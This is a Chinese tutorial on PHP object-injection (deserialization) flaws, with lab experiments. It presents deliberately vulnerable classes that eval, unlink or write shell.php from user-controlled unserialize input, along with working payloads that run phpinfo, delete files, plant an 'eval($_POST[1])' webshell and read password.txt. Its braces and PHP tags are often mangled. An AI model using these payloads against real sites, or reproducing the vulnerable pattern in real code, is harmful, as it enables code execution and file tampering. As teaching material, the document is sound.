反序列化漏洞-02PHP反序列化漏洞实验详解

Posted 百事都可樂.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了反序列化漏洞-02PHP反序列化漏洞实验详解相关的知识,希望对你有一定的参考价值。

为什么要序列化

百度百科上关于序列化的定义是,将对象的状态信息转换为可以存储或传输的形式(字符串)的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区(非关系型键值对形式的数据库Redis,与数组类似)。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。

  1. php中,每个类的定义都以关键字class开头,后面不仅跟着类名还跟着一对花括号,里面包含有类的属性与方法的定义。

  1. 一个类可以包含有属于自己的属性(常量:值变量的值不会改变、变量)和方法(函数)。

  1. 由于类的实例化对象比较抽象,不方便用于传输和存储。

tips:类为class,对象是object;举例来说就是,动物为一个大类,大类之后再分小一类如猫猫或者狗狗;而具体的某个动物就为一个对象。一个对象就相当于一个变量,对象是一种语言结构。

简单来说,序列化就是把一个对象变成可以传输的字符串(字符串便于传输,只需要把字符串赋给变量即可)。在传递和保存对象时,为保证对象的完整性和可传递性,程序将对象转换为有序字节流,以保存在本地文件中,可以以特定的格式在进程之间跨平台、安全的进行通信。(比如从java平台传递到php平台)反序列化则根据字符串中保存的对象状态及描述信息,通过反序列化重建对象

序列化的优点

  • 将对象转为字节流存储到硬盘上(实际上是存放在数据库,一般是redis数据库-键值对数据库),当JVM停机的话,字节流还会在硬盘上默默等待,等待下一次JVM的启动,把序列化的对象,通过反序列化为原来的对象。

  • 序列化后的二进制序列能够减少存储空间(永久性保存对象)。

  • 序列化成字节流形式的对象可以进行网络传输。

  • 通过序列化可以在进程间传递对象

实际上用Redis数据库作为缓存,一般用于存储序列化后的字符串,待字符串需要使用时,再反序列化为对象,方便调用。

PHP中的序列化与反序列化

反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

序列化与反序列化的定义

  • 序列化:程序将对象状态转换为可存储或传输的字节序列的过程(即对象状态转换为可存储或者可传输的过程){序列化是对象转换为字符串的过程}

  • 反序列化:程序把存储或传输的字节序列恢复为对象的过程。{反序列化则是字符串转化为对象的过程}

  • 如果字符串客户端可控,就会造成web应用反序列化任意对象,严重的是在反序列化的过程中会触发一些可以执行的php代码,例如phpinfo

PHP中的序列化与反序列化,基本都是围绕serialize()unserialize()两个函数展开的。在介绍这两个函数之前,我们可以先看一个简单的例子。

简单的例子

我们可以用json格式数据的编码与解码(json格式就是格式化的字符串,也就是说json格式的数据,它具备一定的格式),来理解序列化与反序列化的过程。虽然json数据与反序列化漏洞没有什么关系,但是这个例子有助于我们理解。代码内容如下:

<?php
$student=array('name'=>'AJEST','age'=>18,'SEX=>true','score'=>89.9);
// echo不能直接输出数组,但是如果把$student给做一个json_encode 的格式转换,就可以用echo来输出
echo $student;
echo "<hr/>";
$student_json=json_encode($student);
echo $student_json;
?>

我们定义一个数组,数组属于抽象的数据结构,为了方便跨平台传输数据,可以将其进行json编码。json格式的数据是以键值对的形式出现的。类似于这种格式的数据易于处理易于传输。结果如下

序列化与反序列化Demo

序列化会将一个抽象的对象转换为字符串。

  1. 我们可以写一个Demo来说明序列化的过程,首先创建一个类,代码内容如下:

<?php
class student
    public $name;
    public $sex;
    public $age;
    public $score;

?>
  1. 类名是student,该类中有四个变量。接下来,我们可以将这个类实例化,也就是创建一个对象(new),并给对象中变量赋值。代码如下:

<?php
// 定义一个student类,类中有四个属性
class student
    public $name;
    public $sex;
    public $age;
    public $score;


// 创建对象1
$student1 = new student();
$student1->name = "wyy";
$student1->sex = false;
$student1->age = 20;
$student1->score = 95;
?>
  1. 最后我们使用serialize(),将$student1这个对象序列化成一个字符串。这样的字符串就很容易传输和存储了。如下:

<?php
// 定义一个student类,类中有四个属性
class student
    public $name;
    public $sex;
    public $age;
    public $score;


// 创建对象1
$student1 = new student();
$student1->name = "wyy";
$student1->sex = false;
$student1->age = 20;
$student1->score = 95;

// 创建对象2
$student2 = new student();
$student2->name = "xcc";
$student2->sex = true;
$student2->age = 25;
$student2->score = 98;

// 输出wyy和xcc的成绩
echo $student1->name."'s score = ".$student1->score;
// 进行换行
echo "<br/>";
echo $student2->name."'s score = ".$student2->score;

// 用var_dump输出对象
echo "<hr/>";
var_dump($student1);
var_dump($student2);

// 对对象进行序列化并输出
echo "<hr>";
echo "序列化后采用echo输出<br>";
echo serialize($student1);

?>
  1. 打开浏览器访问该文件,显示如下,可以看到对象被序列化成字符串:

  1. 同样,我们可以使用unserialize()函数,将字符串反序列化成为一个对象。由于字符串中含有双引号,所以此处可以使用定界符的方法定义字符串。代码如下:

<?php
// 定义一个student类,类中有四个属性
class student
    public $name;
    public $sex;
    public $age;
    public $score;


// 创建对象1
$student1 = new student();
$student1->name = "wyy";
$student1->sex = false;
$student1->age = 20;
$student1->score = 95;

// 创建对象2
$student2 = new student();
$student2->name = "xcc";
$student2->sex = true;
$student2->age = 25;
$student2->score = 98;

// 输出wyy和xcc的成绩
echo $student1->name."'s score = ".$student1->score;
// 进行换行
echo "<br/>";
echo $student2->name."'s score = ".$student2->score;

// 用var_dump输出对象
echo "<hr/>";
var_dump($student1);
var_dump($student2);

// 对对象进行序列化并输出
echo "<hr>";
echo "<br>";
// 序列化后采用echo输出
echo serialize($student1);
$str =<<<html
O:7:"student":4:s:4:"name";s:3:"wyy";s:3:"sex";b:0;s:3:"age";i:20;s:5:"score";i:95;
HTML;
echo "<hr/>";
var_dump(unserialize($str));
?>

综上,序列化→我们将对象序列化成字符串,反序列化→我们将字符串反序列化成对象

  1. 运行这个脚本文件,我们可以看到反序列化后的对象

PHP反序列化漏洞

PHP反序列化漏洞也叫php对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。

漏洞的形成的根本原因程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果

PHP中的序列化与反序列化,基本都是围绕serialize()unserialize()两个函数展开的。

实验步骤

实验一

  1. 在网站根目录新建Code文件夹,在Code文件夹中新建PHP文件夹,再从PHP文件夹中新建Class文件夹,最后在Class文件夹下新建文件unserialize.php,文件内容如下:

<?php
// 定义一个test类,类中有4个属性,未定义方法
class Test
	public $str='AJEST;';
	function _destruct()
		// echo "This is function_construct()";
		@eval($this->str);
	


// 创建对象并序列化后输出
$test =new Test();
echo serialize($test);
echo "<hr/>";
$t = serialize($test);
var_dump(unserialize($t));
?>
  1. 打开浏览器访问该文件,显示如下

  1. 如下修改文件内容

<meta charset = "utf-8">
<?php
//定义一个stu类,类中有4个属性,暂未定义方法。
class test
	public $str='AJEST';
	function __destruct()	
		// 在销毁对象时自动调用
		echo "This is function __destruct()";
		@eval($this->str);
	


//创建对象并序列化后输出
$test = new test();
echo "序列化后采用echo输出:<br>";
echo serialize($test1);
echo "<hr>";

//输入序列化后的字符串,并采用凡序列化后采用var_dump输入
$obj=$_GET['obj'];
echo "反序列化后采用var_dump输出:<br>";
var_dump(unserialize($obj));
?>
  1. 继续打开浏览器访问该文件,输入参数?obj=?obj=O:4:"test":1:s:3:"str";s:5:"hello";,网页内容显示如下,含有两句“ This is function __destruct()”,说明函数被调用两次。注意,当销毁实例化类(对象)的时候,__destruct()函数会被自动调用

  1. 接下来修改参数?obj=O:4:"test":1:s:3:"str";s:10:"phpinfo();";,网页显示如下,可以看到phpinfo()函数被成功执行。

由以上代码,我们会发现,PHP的反序列化漏洞学院与其他漏洞配合,如代码执行SQLi等。

我们输入的phpinfo()为何会作为PHP语句运行呢?

我们观察代码,发现在类中有一个函数_destruct()并且这个函数调用的eval语句,执行$this->str变量。为什么_destruct()没有被调用,函数内的语句就会被执行呢?

我们发现,当销毁实例化类(对象)的时候,_destruct()函数会被自动调用,并输出字符串[This is function_destruct()]。

实验二

  1. unserialize.php文件修改如下,将new新建test类对象的语句注释掉,再次实验

<meta charset = "utf-8">
<?php
//定义一个stu类,类中有4个属性,暂未定义方法。
class test
	public $str='AJEST';
	function __destruct()
		echo "This is function __destruct()";
		@eval($this->str);
	


//创建对象并序列化后输出
//$test1 = new test();
//echo "序列化后采用echo输出:<br>";
//echo serialize($test1);
echo "<hr>";

//输入序列化后的字符串,并采用凡序列化后采用var_dump输入
$obj=$_GET['obj'];
echo "反序列化后采用var_dump输出:<br>";
var_dump(unserialize($obj));
  1. 在浏览器中输入参数?obj=?obj=O:4:"test":1:s:3:"str";s:5:"hello";,网页显示如下,含有1句"This is function_destruct()",说明函数被调用1次,注意,当销毁实例化类(对象)的时候,__destruct()函数会被自动调用

  1. 继续在浏览器中输入?obj=O:4:"test":1:s:3:"str";s:10:"phpinfo();";,网页显示如下,可以看到同样能执行phpinfo()函数,因此可以判断输入对象成功反序列化为test类对象,并自动执行了__destruct()函数

实验三

  1. unserialize.php文件修改将最后一行语句修改如下,实验如下

<meta charset = "utf-8">
<?php
//定义一个stu类,类中有4个属性,暂未定义方法。
class test
	public $str='AJEST';
	function __destruct()
		echo "This is function __destruct()";
		@eval($this->str);
	


//创建对象并序列化后输出
//$test1 = new test();
//echo "序列化后采用echo输出:<br>";
//echo serialize($test1);
echo "<hr>";

//输入序列化后的字符串,并采用凡序列化后采用var_dump输入
$obj=$_GET['obj'];
//echo "反序列化后采用var_dump输出:<br>";
//var_dump(unserialize($obj));
$obj1=unserialize($obj);
?>
  1. 浏览器同样输入参数?obj=O:4:"test":1:s:3:"str";s:5:"hello";,网页显示如下,含有1句“ This is function __destruct()”,说明函数被调用1次。

  1. 浏览器同样输入参数?obj=O:4:"test":1:s:3:"str";s:10:"phpinfo();";访问,,网页显示如下,可以看到同样能执行phpinfo()函数,因此可以判断输入对象成功反序列化为test类对象,并自动执行了__destruct()函数。

tips:

  • 我们发现,当销毁实例化类的时候,__destruct()函数会被自动调用,并输出字符串This is function__destruct()

  • 默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源,__destruct()允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,__destruct()将被调用.,在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset

PHP魔术方法归纳

以[_]开头的方法,是PHP中的魔术方法,类中的魔术方法,在特定情况下会被自动调用。主要魔术方法及其触发条件如下。

魔术方法

触发条件

_construct()

构造方法,当一个对象被创建时调用

_destruct()

析构方法,PHP将在对象被销毁前(即从内存中清除前)调用

_autoload()

使用尚未被定义的类时自动调用。通过此函数,脚本引擎在PHP出错失败前有了最后一个机会加载所需的类。

_call($method,$arg_array)

在对象中调用一个不可访问方法时

_callStatic()

在静态上下文中调用一个不可访问的方法时使用

_clone()

使用clone方法复制一个对象时

_invoke()

当尝试调用函数的方式调用一个对象时,_invoke方法会被自动调用

_get($property)

从不可访问的属性中读取数据

_set($property,$value)

给一个未定义的属性赋值时调用

_isset($property)

在一个未定义的属性上调用isset()函数时调用此方法

_unset($property)

在一个未定义的属性上调用unset()函数时调用此方法

_toString()

在将一个对象转化成字符串时自动调用

_sleep()

序列化对象前调用(其返回需要是一个数组)

_wakeup()

反序列化恢复对象前调用

_set_state()

当调用var_export()时,这个静态方法就会被调用

注意:

  1. serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。

  1. 使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。

  1. 相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。

  1. 使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

反序列化漏洞详解

目录

一、什么是序列化和反序列化

二、什么是反序列化漏洞

三、序列化函数(serialize)

四、反序列化(unserialize)

?五、什么是PHP魔术方法

六、一些常见的魔术方法

七、魔术方法的利用

?八、反序列化漏洞的利用

1.__destruct()函数

2.__wakeup()

3.toString()

?九、反序列化漏洞的防御


一、什么是序列化和反序列化

序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。

二、什么是反序列化漏洞

当程序在进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

三、序列化函数(serialize)

当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。

测试代码

<?php 
 class Stu
    public $name = 'aa';
    public $age = 18;
    public function demo()
        echo "你好啊";
    
$stu = new Stu();
echo "<pre>";
print_r($stu);
//进行序列化
$stus = serialize($stu);
print_r($stus);


?>

查看结果:

四、反序列化(unserialize)

unserialize()可以从序列化后的结果中恢复对象(object)为了使用这个对象,在下列代码中用unserialize重建对象.

测试代码:

<?php 
	//定义一个Stu类
	class Stu
		
		//定义成员属性
		public $name = 'aa';
		public $age = 19;
		//定义成员方法
		public function demo()
		
			echo '你吃了吗';
		
	
	//实例化对象
	$stu = new Stu();
	//进行序列化
	$stus = serialize($stu);
	print_r($stus);
	echo "<br><pre>";
	//进行反序列化
	print_r(unserialize($stus));
 ?>

查看结果:

五、什么是PHP魔术方法

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。 问题就出现在重载过程中,执行了相关代码。

六、一些常见的魔术方法

  • __construct() :构造函数,当创建对象时自动调用。
  • __destruct():析构函数,在对象的所有引用都被删除时或者对象被显式销毁时调用,当对象被销毁时自动调用。
  • __wakeup():进行unserialize时会查看是否有该函数,有的话有限调用。会进行初始化对象。
  • __ toString():当一个类被当成字符串时会被调用。
  • __sleep():当一个对象被序列化时调用,可与设定序列化时保存的属性。

七、魔术方法的利用

测试代码:

<?php
  class Stu
    
       public $name = 'aa';
       public $age = 18;
       
      function __construct()
      
        echo '对象被创建了__consrtuct()';
      
      function __wakeup()
      
        echo '执行了反序列化__wakeup()';
           
       function __toString()
      
        echo '对象被当做字符串输出__toString';
        return 'asdsadsad';
      
      function __sleep()
      
        echo '执行了序列化__sleep';
        return array('name','age');
      
      function __destruct()
      
        echo '对象被销毁了__destruct()';
      

     
    $stu =  new Stu();
    echo "<pre>";
   //序列化
    $stu_ser = serialize($stu);
    print_r($stu_ser);
    //当成字符串输出
    echo "$stu";
   //反序列化
    $stu_unser = unserialize($stu_ser);
    print_r($stu_unser);
?>

测试结果:

八、反序列化漏洞的利用

由于反序列化时unserialize()函数会自动调用wakeup(),destruct(),函数,当有一些漏洞或者恶意代码在这些函数中,当我们控制序列化的字符串时会去触发他们,从而达到攻击。

1.__destruct()函数

个网站内正常页面使用logfile.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。正常重构Stu对象

测试代码:

<?php 
	header("content-type:text/html;charset=utf-8");
	//引用了logfile.php文件
	include './logfile.php';
	//定义一个类
	class Stu
	
		public $name = 'aa';
		public $age = 19;
		function StuData()
		
			echo '姓名:'.$this->name.'<br>';
			echo '年龄:'.$this->age;
		
	
	//实例化对象
	$stu = new Stu();
	//重构用户输入的数据
	$newstu = unserialize($_GET['stu']);
	//O:3:"Stu":2:s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:120;
	echo "<pre>";
	var_dump($newstu) ;
 ?>

logfile.php 代码:

<?php 
	class LogFile
	
		//日志文件名
		public $filename = 'error.log';
		//存储日志文件
		function LogData($text)
		
			//输出需要存储的内容
			echo 'log some data:'.$text.'<br>';
			file_put_contents($this->filename, $text,FILE_APPEND);
		
		//删除日志文件
		function __destruct()
		
			//输出删除的文件
			echo '析构函数__destruct 删除新建文件'.$this->filename;
			//绝对路径删除文件
			unlink(dirname(__FILE__).'/'.$this->filename);
		
	 
 ?>

正常输入参数:O:3:“Stu”:2:s:4:“name”;s:2:“aa”;s:3:“age”;i:20;

重构logfile.php文件包含的对象进行文件删除

  • 正常重构:O:7:“LogFile”:1:s:8:“filename”;s:9:“error.log”;

发现正常删除,但如果我们修改参数,让其删除其他的文件呢?

  • 异常重构:O:7:“LogFile”:1:s:8:“filename”;s:10:“…/ljh.php”;
  • 执行该代码

2.__wakeup()

例如有一个代码为index.php,源码如下

<?php 
	class chybeta
	
		public $test = '123';
		function __wakeup()
		
			$fp = fopen("shell.php","w") ;
			fwrite($fp,$this->test);
			fclose($fp);
		
	
	$class = @$_GET['test'];
	print_r($class);
	echo "</br>";
	$class_unser = unserialize($class);
	
	// 为显示效果,把这个shell.php包含进来
    require "shell.php";
 ?>

传入参数:test=O:7:“chybeta”:1:s:4:“test”;s:19:“<php phpinfo(); >”;

查看shell.php文件

也可以传入:O:7:“chybeta”:1:s:4:“test”;s:25:“<php eval($_POST[1]); >”;

3.toString()

举个例子,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj),而且其他类也可能定义了一个类允许 __toString读取某个文件。把下面这段代码保存为fileread.php

fileread.php代码

<?php 
	//读取文件类
	class FileRead
	
		public $filename = 'error.log';
		function __toString()
		
			return file_get_contents($this->filename);
		
	
 ?>

个网站内正常页面应引用fileread.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。

测试代码:

<?php 
	//引用fileread.php文件
	include './fileread.php';
	//定义用户类
	class User
	
		public $name = 'aa';
		public $age = 18;
		function __toString()
		
			return '姓名:'.$this->name.';'.'年龄:'.$this->age;
		
	
	//O:4:"User":2:s:4:"name";s:2:"aa";s:3:"age";i:18;
	//反序列化
	$obj = unserialize($_GET['user']);
	//当成字符串输出触发toString
	echo $obj;
 ?>

正常重构:O:4:“User”:2:s:4:“name”;s:2:“aa”;s:3:“age”;i:18;

重构fileread.php文件包含的类进行读取password.txt文件内容

重构:O:8:“FileRead”:1:s:8:“filename”;s:12:“password.txt”;

九、反序列化漏洞的防御

和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以最好的预防措施:

  1. 不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。
  2. 在进入反序列化函数之前,对参数进行限制过滤。

先自我介绍一下,小编13年上师交大毕业,曾经在小公司待过,去过华为OPPO等大厂,18年进入阿里,直到现在。深知大多数初中级java工程师,想要升技能,往往是需要自己摸索成长或是报班学习,但对于培训机构动则近万元的学费,着实压力不小。自己不成体系的自学效率很低又漫长,而且容易碰到天花板技术停止不前。因此我收集了一份《java开发全套学习资料》送给大家,初衷也很简单,就是希望帮助到想自学又不知道该从何学起的朋友,同时减轻大家的负担。添加下方名片,即可获取全套学习资料哦

以上是关于反序列化漏洞-02PHP反序列化漏洞实验详解的主要内容,如果未能解决你的问题,请参考以下文章

审计之PHP反序列化漏洞详解(附实例)

反序列化漏洞详解

反序列化漏洞详解

漏洞复现phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)

漏洞复现phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)

php反序列化漏洞绕过魔术方法 __wakeup